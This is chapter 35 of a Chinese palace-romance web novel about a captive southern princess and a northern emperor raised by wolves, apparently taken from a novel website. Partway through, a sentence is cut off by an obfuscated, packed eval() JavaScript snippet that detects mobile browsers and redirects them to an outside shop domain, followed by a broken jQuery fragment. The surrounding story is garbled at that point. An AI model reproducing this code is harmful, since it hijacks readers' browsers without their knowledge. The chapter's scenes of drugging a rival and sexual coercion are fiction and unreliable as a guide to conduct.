35. 第35章
    穆亦寒被抓住,好在他此时面上覆了一个银色的面具,当襄芙要掀开他面具一看究竟时,被他手抓住手腕。

    “长公主殿下恕罪,卑职...因为倾慕殿下,所以才会忍不住闯殿下寝室...”他为了不让她发现,故意吞了变声药。

    “你是...”襄芙诧异道,“南宫的人?”

    穆亦寒没办法,只能硬着头皮将错就错,“是,卑职是...陛下的人。”

    “你是本宫兄长的人?”襄芙道,“那你是本宫兄长安插进北宫的暗桩吗?”

    穆亦寒:“......”

    “嗯...是的。”没办法,只能这样诓骗过去,谁让他心软没忍住来看她。

    “你潜伏在穆亦寒身边...多久了?”

    见她好像没对刚才他亲吻她额头的事计较,他只好诓骗道:“有几年了。”

    “既然这么久,为何还不下手杀?”

    他一怔,手不由自主掐紧起来。

    “那你可知道,现在南国状况怎样了?”她又问。

    “南国失掉了几座城,京都暂时还攻破不了,萧...陛下和太后都撤离了京都,北国暂时还找不着他们。”

    听了这话后,襄芙松了一口气。

    “以后,你和本宫就是同盟,你要时常过来给本宫禀报情况,而本宫...只要有本宫能帮得上忙的事,本宫也会尽力去做。”

    襄芙道,“现下,本宫遇到个难题,你潜伏在穆亦寒身边那么久,能不能帮帮本宫?”

    “殿下遇上什么难事了?”穆亦寒问。

    “本宫...想重新获取穆亦寒的信任,你在他身边那么久,能不能多讲些关于他的事给本宫听?”

    “殿下想获得他信任做什么?殿下想亲手杀他吗?”穆亦寒苦涩道。

    “不知道...”襄芙叹了口气,“但他是北国国君,本宫同他又有一段旧情,把他笼络住,一旦南国陷入险境,最起码能向他求情...”

    “那殿下你...从头到尾只是利用他,对他没有半分感情吗?”

    襄芙看了他一眼,“本宫贵为南国公主,婚事尚且不能任由自己,谈感情不奢侈吗?”

    “现在,你能跟本宫谈谈关于他的事了吗?”她淡声道。

    穆亦寒收拢情绪,尽量平静道:“新国君是老国君在与南国交界的黑水森林找回来的,他自幼被母狼养大,长好大了也不会说人话,刚回宫的时候,所有人都质疑老国君,竟让一个不会说人话,胸无半点墨的野人当储君。”

    “嗯。”襄芙迎和道。

    “可是后来,他废了好大的功夫,逼着自己去学,如今,他已经成为能画会写,不说学识渊博,至少能识文断字、能文能武,是气质不凡的郎君了...”他回想着萧辰景旧时同他说过的话,莞莞喜欢的男子,必须这个样子。

    他盯紧襄芙的反应。

    她顿了一会后,点点头道:“嗯,是的,今夜,我在夜宴上看过他的诗作和画作了,确实不错,字也比以前好了许多,越发看得出其风骨了,倘若他从小就一直在北宫,相信南国的苏大公子,也比不过他。”

    “那殿下你...会爱上这样一位已经变得更优秀、且与你有旧情的故人吗?”穆亦寒小心翼翼问。

    襄芙想起这暗卫说过倾慕她的话,便道:“或许本宫能把身体交付给他,但是...若是心给了,那本宫就等于背叛南国了。”

    话已至此,他便不再问些什么了。

    第二天,襄芙整理好情绪,带上自己做的点心去新君宫中赔罪,却发现,程天灵身穿寝衣从内室出来。

    “陛下...妾熬了给你补身子的药,喝了对你伤口愈合有帮助,陛下若是喝了感觉气血上浮,妾就留下给你灭火...”

    待看见襄芙的时候,程天灵讶异了一下,“你怎么来了?”

    “回禀娘娘,妾来给陛下送点心赔罪。”襄芙甚能认清身份道。

    继而她看了看穆亦寒,跪道:“既然陛下是因妾而受的伤,那妾自然也要留下,给陛下灭火。”

    “你......!”程天灵惊道,“你在说什么东西??不自量力!!”

    襄芙不肯退让半分,道:“我本是老国君正儿八经娶回来的皇后,就算南国战败,那也还是皇后,只有老国君有资格将皇后贬为侍妾,新国君登基后本应接管老国君后宫,那位分也应当沿袭下来,可陛下不但没有一日尊妾为皇后,还直接掳了回来就扔进冷宫,这好像不妥吧?”

    穆亦寒笑了,“那你想怎样?”

    “妾没有过错,陛下不能把妾贬了,就算妾是南国人,但已经嫁来北国,那就是北国人,陛下不能拿妾的出身,作为是一桩罪将妾贬谪。”

    她说得义正言辞。

    “好,就算你说得对,”不知为何,她总感觉穆亦寒今日比起平日还要冷淡几分,

    “皇后不过是一个名衔而已,孤可以给你...”

    “陛下!!”

    “但是,皇后的实权,孤不可能交给一个与萧辰景有关系的人,我们北宫比不得南宫,只有一位皇后,在北宫,只要孤喜欢,别说两个皇后,四个皇后,八个皇后也可以。”

    他笑,“你想当皇后,想给孤侍寝是吗?好,那你现在就随孤进来,只要你能侍奉孤和天灵,那孤就给你机会。”

    程天灵嘟哝着“凭什么让她看”,然后还是欢欢喜喜挽着新君手臂进去。

    襄芙的腿仿佛有千斤重,但还是一步一步硬着头皮跟他们进去。

    龙榻上的纱帐层层叠叠地放了下来,上次襄芙侍寝还只是在偏殿,这次,光天化日之下,穆亦寒却让程天灵睡自己的龙榻。

    她沉默地用指尖抠紧手心的肉,强迫自己不去想别的。

    昨夜,她让那位名为“崇琅”的暗卫,帮她把药下到程天灵的吃食中,一会儿程天灵只要身体触碰到男人,就会全身起红疹。

    既然程天灵给穆亦寒下了助兴的药,那么,他一时三刻也赶不及去找别的女人,她就会是最趁手的“解药”,她这次一定要下成功媚`药。

    可穆亦寒拿着她给的药,却没有下给程天灵,反倒是下了一种自己的药。

    他把程天灵牵进层层纱帐中,程天灵从未被他如此温柔对待,心想这一次,她定能成功和他圆房,这好像还多亏了那位南国公主呢。

    若不是她突然跑来搅和,怕是她脱`光`衣服躲进新君寝室,新君也懒得碰她,这新君对老

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157110|135569||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    国君心有芥蒂,对于老国君碰过的女人总是呈回避的态度,若不是那南国公主没嫁过来老国君就甍了,说不定也不会碰。

    这下被这公主一激,反倒成全她了。

    她正要把手伸进穆亦寒衣襟,就被他抓住了手,“天灵,孤有东西送给你。”

    一听有东西送给她,程天灵欣喜万分,但当她看见是一支做工粗劣,且料子普通的蔷薇辉石簪子时,嘴角却耷了下来,瘪了嘴道:“陛下...”

    穆亦寒笑:“这是孤第一次亲手做的首饰,是做给最心爱的女子的,你喜欢吗?”

    她一听,立马心花怒放起来:“喜欢!妾简直太喜欢了!”

    说着,她再次伸出手想替他宽衣,“陛下,你年纪尚小,没有什么经验,那就让妾教教陛下,何为人间极乐...”

    襄芙跪在纱帐外,隐约可听见女子轻微像是喃呢又像撒娇地“啊...”了一声,她低下头不敢去看。

    然后就是程天灵痛苦的哭嚷:“这...这...怎么回事?啊...啊...好痒...”

    程天灵穿好衣裳冲出来,穆亦寒也好整以暇地扣着衣襟盘扣走出。

    “天灵她身子不适,无法侍寝,你,进来吧。”

    一如襄芙所料,她心中绷紧的弦终于松了,站起的时候一不小心看见程天灵头上所簪的蔷薇辉石簪子,一下子愣了。

    穆亦寒见她愣住不动,呆呆地看着程天灵的头,笑:“那根簪子曾经摔断过一次,孤从悬崖底下把它捡回,重新粘好,天灵,以后你要好好爱惜它。”

    程天灵一边挠着身子,一边谢恩道:“是,妾定会好好珍惜陛下的疼爱,今日妾不便侍寝,那就只好请妹妹替我好好服侍陛下,妾...先行回了。”

    刚才也不知怎地,她手还没碰到陛下的衣裳,身上就开始痛痒不已,紧接着,脸、身子也开始起了疹子,当真奇怪。

    襄芙看了程天灵发上簪的,曾经是狼王少年亲手给她簪上去的蔷薇辉石簪子时,情绪一下子就绷不住,不愿在这里被他看见自己情绪外露,她便只好目无表情地跪下请罪道:“陛下请恕罪,妾...身子也有些不适,不宜...”

    见她又要逃,穆亦寒一把将她拦腰抱起。

    “刚刚是谁说要当皇后的?不能侍寝的话,当什么皇后??”

    “妾...妾只是今天身子不适...”她感觉眼眶已经被泪水模糊,还强作镇静地解释。

    谁知她越是这副想哭不敢哭,还浑身颤抖的样子,就越是让他误会。

    “既然你如此厌恶同孤行`房`事,何必非逼着自己遭这趟罪?你是老国君亲娶的皇后,只要你乖巧些,孤大可在后宫给你留一席地好好活着,没必要逼自己来争抢这宠爱!!”

    “可你既然争了,那就做好心理准备,被孤这样粗莽的野人玷`污!”

    他情绪很激动,襄芙也很失态地挣扎,哭着一口咬在他肩膀上泄愤。

    其实,她本应同他解释,不是的,她不是不愿意,她只是讨厌他现在眼里没有自己了,还把送给自己的簪子转赠给别的女人,他都不知,她出去了以后,曾偷偷悬赏过多少次,找人帮她去找这不小心掉悬崖下的簪子,但就是没人能找到。